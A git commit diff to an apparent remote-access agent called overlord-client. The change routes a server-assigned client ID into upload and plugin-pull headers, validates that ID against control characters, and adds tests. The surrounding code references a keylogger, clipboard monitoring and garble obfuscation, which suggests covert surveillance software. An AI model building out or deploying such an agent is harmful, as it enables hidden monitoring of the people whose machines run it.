tiny update
This commit is contained in:
@@ -825,7 +825,7 @@ func HandleFileUploadHTTP(ctx context.Context, env *agentRuntime.Env, cmdID stri
|
||||
if token := strings.TrimSpace(env.Cfg.AgentToken); token != "" {
|
||||
req.Header.Set("x-agent-token", token)
|
||||
}
|
||||
if id := strings.TrimSpace(env.Cfg.ID); id != "" {
|
||||
if id := env.ClientID(); id != "" {
|
||||
req.Header.Set("x-overlord-client-id", id)
|
||||
}
|
||||
if offset > 0 {
|
||||
|
||||
@@ -477,8 +477,8 @@ func TestHandleFileUploadHTTP(t *testing.T) {
|
||||
data := []byte("http-upload-payload")
|
||||
|
||||
ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
if got := r.Header.Get("x-overlord-client-id"); got != "client-abc" {
|
||||
t.Fatalf("expected x-overlord-client-id client-abc, got %q", got)
|
||||
if got := r.Header.Get("x-overlord-client-id"); got != "key-fingerprint-canonical-id" {
|
||||
t.Fatalf("expected canonical x-overlord-client-id, got %q", got)
|
||||
}
|
||||
if got := r.Header.Get("x-agent-token"); got != "agent-token" {
|
||||
t.Fatalf("expected x-agent-token agent-token, got %q", got)
|
||||
@@ -494,11 +494,14 @@ func TestHandleFileUploadHTTP(t *testing.T) {
|
||||
env := &rt.Env{
|
||||
Conn: writer,
|
||||
Cfg: config.Config{
|
||||
ID: "client-abc",
|
||||
ID: "claimed-client-id",
|
||||
AgentToken: "agent-token",
|
||||
TLSInsecureSkipVerify: true,
|
||||
},
|
||||
}
|
||||
if !env.SetServerClientID("key-fingerprint-canonical-id") {
|
||||
t.Fatal("failed to install canonical client id")
|
||||
}
|
||||
|
||||
if err := HandleFileUploadHTTP(context.Background(), env, "cmd-http-upload", destPath, ts.URL+"/file", int64(len(data))); err != nil {
|
||||
t.Fatalf("HandleFileUploadHTTP failed: %v", err)
|
||||
|
||||
@@ -14,6 +14,12 @@ func HandleHelloAck(_ context.Context, env *runtime.Env, envelope map[string]int
|
||||
if env == nil || envelope == nil {
|
||||
return nil
|
||||
}
|
||||
if canonicalID, ok := envelope["id"].(string); ok && env.SetServerClientID(canonicalID) {
|
||||
if env.Plugins != nil {
|
||||
env.Plugins.SetClientID(env.ClientID())
|
||||
}
|
||||
log.Printf("hello ack: using canonical client id %s", env.ClientID())
|
||||
}
|
||||
if version := toInt(envelope["protocolVersion"]); version > 0 {
|
||||
log.Printf("hello ack: negotiated wire protocol v%d (agent v%d)", version, wire.WireProtocolVersion)
|
||||
}
|
||||
|
||||
@@ -0,0 +1,45 @@
|
||||
package handlers
|
||||
|
||||
import (
|
||||
"context"
|
||||
"testing"
|
||||
|
||||
"overlord-client/cmd/agent/config"
|
||||
"overlord-client/cmd/agent/plugins"
|
||||
agentRuntime "overlord-client/cmd/agent/runtime"
|
||||
)
|
||||
|
||||
func TestHandleHelloAckAdoptsCanonicalClientID(t *testing.T) {
|
||||
writer := &testWriter{}
|
||||
env := &agentRuntime.Env{
|
||||
Conn: writer,
|
||||
Cfg: config.Config{ID: "claimed-client-id"},
|
||||
}
|
||||
env.Plugins = plugins.NewManager(writer, plugins.HostInfo{ClientID: env.ClientID()})
|
||||
|
||||
if err := HandleHelloAck(context.Background(), env, map[string]interface{}{
|
||||
"id": "key-fingerprint-canonical-id",
|
||||
"protocolVersion": 1,
|
||||
}); err != nil {
|
||||
t.Fatalf("HandleHelloAck failed: %v", err)
|
||||
}
|
||||
|
||||
if got := env.ClientID(); got != "key-fingerprint-canonical-id" {
|
||||
t.Fatalf("runtime client id = %q, want canonical id", got)
|
||||
}
|
||||
if got := env.Plugins.ClientID(); got != "key-fingerprint-canonical-id" {
|
||||
t.Fatalf("plugin host client id = %q, want canonical id", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestHandleHelloAckWithoutIDRetainsConfiguredFallback(t *testing.T) {
|
||||
env := &agentRuntime.Env{Cfg: config.Config{ID: "claimed-client-id"}}
|
||||
if err := HandleHelloAck(context.Background(), env, map[string]interface{}{
|
||||
"protocolVersion": 1,
|
||||
}); err != nil {
|
||||
t.Fatalf("HandleHelloAck failed: %v", err)
|
||||
}
|
||||
if got := env.ClientID(); got != "claimed-client-id" {
|
||||
t.Fatalf("legacy hello_ack client id = %q, want configured fallback", got)
|
||||
}
|
||||
}
|
||||
@@ -46,7 +46,7 @@ func HandlePluginLoadHTTP(ctx context.Context, env *agentRuntime.Env, cmdID stri
|
||||
if token := strings.TrimSpace(env.Cfg.AgentToken); token != "" {
|
||||
req.Header.Set("x-agent-token", token)
|
||||
}
|
||||
if id := strings.TrimSpace(env.Cfg.ID); id != "" {
|
||||
if id := env.ClientID(); id != "" {
|
||||
req.Header.Set("x-overlord-client-id", id)
|
||||
}
|
||||
|
||||
|
||||
@@ -0,0 +1,54 @@
|
||||
package handlers
|
||||
|
||||
import (
|
||||
"context"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"testing"
|
||||
|
||||
"overlord-client/cmd/agent/config"
|
||||
"overlord-client/cmd/agent/plugins"
|
||||
agentRuntime "overlord-client/cmd/agent/runtime"
|
||||
)
|
||||
|
||||
func TestHandlePluginLoadHTTPUsesCanonicalClientID(t *testing.T) {
|
||||
headers := make(chan http.Header, 1)
|
||||
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
headers <- r.Header.Clone()
|
||||
http.Error(w, "stop after header assertion", http.StatusForbidden)
|
||||
}))
|
||||
defer server.Close()
|
||||
|
||||
writer := &testWriter{}
|
||||
env := &agentRuntime.Env{
|
||||
Conn: writer,
|
||||
Cfg: config.Config{
|
||||
ID: "claimed-client-id",
|
||||
AgentToken: "agent-token",
|
||||
TLSInsecureSkipVerify: true,
|
||||
},
|
||||
}
|
||||
env.Plugins = plugins.NewManager(writer, plugins.HostInfo{ClientID: env.ClientID()})
|
||||
if !env.SetServerClientID("key-fingerprint-canonical-id") {
|
||||
t.Fatal("failed to install canonical client id")
|
||||
}
|
||||
|
||||
if err := HandlePluginLoadHTTP(
|
||||
context.Background(),
|
||||
env,
|
||||
"plugin-command-id",
|
||||
plugins.PluginManifest{ID: "test-plugin"},
|
||||
server.URL+"/api/plugins/pull/test-id",
|
||||
1,
|
||||
); err != nil {
|
||||
t.Fatalf("HandlePluginLoadHTTP failed: %v", err)
|
||||
}
|
||||
|
||||
got := <-headers
|
||||
if clientID := got.Get("x-overlord-client-id"); clientID != "key-fingerprint-canonical-id" {
|
||||
t.Fatalf("plugin pull client id = %q, want canonical id", clientID)
|
||||
}
|
||||
if token := got.Get("x-agent-token"); token != "agent-token" {
|
||||
t.Fatalf("plugin pull token = %q, want agent token", token)
|
||||
}
|
||||
}
|
||||
@@ -33,6 +33,18 @@ func NewManager(writer wire.Writer, host HostInfo) *Manager {
|
||||
}
|
||||
}
|
||||
|
||||
func (m *Manager) SetClientID(clientID string) {
|
||||
m.mu.Lock()
|
||||
m.host.ClientID = clientID
|
||||
m.mu.Unlock()
|
||||
}
|
||||
|
||||
func (m *Manager) ClientID() string {
|
||||
m.mu.Lock()
|
||||
defer m.mu.Unlock()
|
||||
return m.host.ClientID
|
||||
}
|
||||
|
||||
func (m *Manager) Load(ctx context.Context, manifest PluginManifest, binary []byte) error {
|
||||
//garble:controlflow block_splits=max junk_jumps=max flatten_passes=max
|
||||
if len(binary) == 0 {
|
||||
@@ -95,7 +107,10 @@ func (m *Manager) Load(ctx context.Context, manifest PluginManifest, binary []by
|
||||
}()
|
||||
}
|
||||
|
||||
hostJSON, err := json.Marshal(m.host)
|
||||
m.mu.Lock()
|
||||
host := m.host
|
||||
m.mu.Unlock()
|
||||
hostJSON, err := json.Marshal(host)
|
||||
if err != nil {
|
||||
np.Close()
|
||||
return err
|
||||
|
||||
@@ -3,6 +3,7 @@ package runtime
|
||||
import (
|
||||
"context"
|
||||
"os"
|
||||
"strings"
|
||||
"sync"
|
||||
"sync/atomic"
|
||||
"time"
|
||||
@@ -63,6 +64,35 @@ type Env struct {
|
||||
NotificationKeywords []string
|
||||
NotificationMinIntervalMs int
|
||||
NotificationClipboard bool
|
||||
clientIDMu sync.RWMutex
|
||||
serverClientID string
|
||||
}
|
||||
|
||||
func (e *Env) SetServerClientID(value string) bool {
|
||||
clientID := strings.TrimSpace(value)
|
||||
if clientID == "" || len(clientID) > 256 {
|
||||
return false
|
||||
}
|
||||
for _, r := range clientID {
|
||||
if r < 0x20 || r == 0x7f {
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
e.clientIDMu.Lock()
|
||||
e.serverClientID = clientID
|
||||
e.clientIDMu.Unlock()
|
||||
return true
|
||||
}
|
||||
|
||||
func (e *Env) ClientID() string {
|
||||
e.clientIDMu.RLock()
|
||||
clientID := e.serverClientID
|
||||
e.clientIDMu.RUnlock()
|
||||
if clientID != "" {
|
||||
return clientID
|
||||
}
|
||||
return strings.TrimSpace(e.Cfg.ID)
|
||||
}
|
||||
|
||||
func (e *Env) SetNotificationConfig(keywords []string, minIntervalMs int, clipboardEnabled bool) {
|
||||
|
||||
@@ -1,10 +1,57 @@
|
||||
package runtime
|
||||
|
||||
import (
|
||||
"sync"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"overlord-client/cmd/agent/config"
|
||||
)
|
||||
|
||||
func TestEnv_ClientIDUsesServerCanonicalIdentityAfterAck(t *testing.T) {
|
||||
env := &Env{Cfg: config.Config{ID: "claimed-client-id"}}
|
||||
if got := env.ClientID(); got != "claimed-client-id" {
|
||||
t.Fatalf("ClientID before ack = %q, want configured fallback", got)
|
||||
}
|
||||
|
||||
if !env.SetServerClientID("key-fingerprint-canonical-id") {
|
||||
t.Fatal("expected canonical server id to be accepted")
|
||||
}
|
||||
if got := env.ClientID(); got != "key-fingerprint-canonical-id" {
|
||||
t.Fatalf("ClientID after ack = %q, want canonical id", got)
|
||||
}
|
||||
|
||||
if env.SetServerClientID("bad\r\nheader") {
|
||||
t.Fatal("expected control characters in canonical id to be rejected")
|
||||
}
|
||||
if got := env.ClientID(); got != "key-fingerprint-canonical-id" {
|
||||
t.Fatalf("invalid update replaced canonical id with %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestEnv_ClientIDConcurrentAccess(t *testing.T) {
|
||||
env := &Env{Cfg: config.Config{ID: "claimed-client-id"}}
|
||||
var wg sync.WaitGroup
|
||||
for i := 0; i < 8; i++ {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
for j := 0; j < 1_000; j++ {
|
||||
if got := env.ClientID(); got == "" {
|
||||
t.Errorf("ClientID returned empty during concurrent access")
|
||||
return
|
||||
}
|
||||
}
|
||||
}()
|
||||
}
|
||||
for i := 0; i < 100; i++ {
|
||||
if !env.SetServerClientID("key-fingerprint-canonical-id") {
|
||||
t.Fatal("canonical id update failed")
|
||||
}
|
||||
}
|
||||
wg.Wait()
|
||||
}
|
||||
|
||||
func TestEnv_NotificationConfig(t *testing.T) {
|
||||
env := &Env{}
|
||||
|
||||
|
||||
@@ -590,7 +590,7 @@ func runSession(ctx context.Context, cancel context.CancelFunc, conn *websocket.
|
||||
env := &rt.Env{Conn: safeWriter, Cfg: cfg, Cancel: cancel, SelectedDisplay: handlers.GetPersistedDisplay()}
|
||||
env.SetLastPong(time.Now().UnixMilli())
|
||||
env.Console = rt.NewConsoleHub(env)
|
||||
env.Plugins = plugins.NewManager(env.Conn, plugins.HostInfo{ClientID: cfg.ID, OS: cfg.OS, Arch: cfg.Arch, Version: cfg.Version})
|
||||
env.Plugins = plugins.NewManager(env.Conn, plugins.HostInfo{ClientID: env.ClientID(), OS: cfg.OS, Arch: cfg.Arch, Version: cfg.Version})
|
||||
defer env.Plugins.Close()
|
||||
|
||||
env.Keylogger = keylogger.New()
|
||||
|
||||
Reference in New Issue
Block a user